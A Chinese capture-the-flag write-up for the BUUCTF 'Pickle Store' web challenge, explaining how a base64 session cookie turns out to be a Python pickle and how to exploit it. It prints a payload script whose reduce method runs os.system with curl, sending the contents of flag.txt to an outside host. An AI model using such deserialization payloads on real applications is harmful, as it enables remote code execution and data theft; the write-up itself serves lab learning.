BUUCTF WEB PICKLE STORE

这一题是一个简单的python反序列化,简单的写个脚本就好,没啥好说的
那么就来水一篇buuctf 小号靶机的使用
众所周知,buuctf靶场经历了内网K8S改造,导致以前的小号的内网靶机的方法出了问题,我也疑惑了很久,该怎么去用这台不知道公网ip的靶机
后来我想明白了,给的是apache2的公网ip,那就直接外带啊,果然成功了,哈哈。。
不说废话了,先来看看这题,在买东西的时候抓包看cookie是常规操作:
抓到的包里cookie:

session=gAN9cQAoWAUAAABtb25leXEBTfQBWAcAAABoaXN0b3J5cQJdcQNYEAAAAGFudGlfdGFtcGVyX2htYWNxBFggAAAAYWExYmE0ZGU1NTA0OGNmMjBlMGE3YTYzYjdmOGViNjJxBXUu

看着像base64,解码一下,发现一个标志:anti_tamper_hmac
无法逆向的hmac,那么结合题目的pickle,八九不离十的猜是反序列化
关于pickle的指令解析可以看这个师傅的
https://blog.csdn.net/weixin_45669205/article/details/116274988
反正构造就完事了

class A(object):
	def __reduce(self):
		return(eval,("__import__('os').system('curl http://6c59e8a3-c4c8-46fc-9875-d658ec5cc0eb.node4.buuoj.cn:81/`cat flag.txt`')",))
a=A()
print(pickle.dumps(a))
print(base64.b64encode(pickle.dumps(a)))

外带成功,撒花!

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值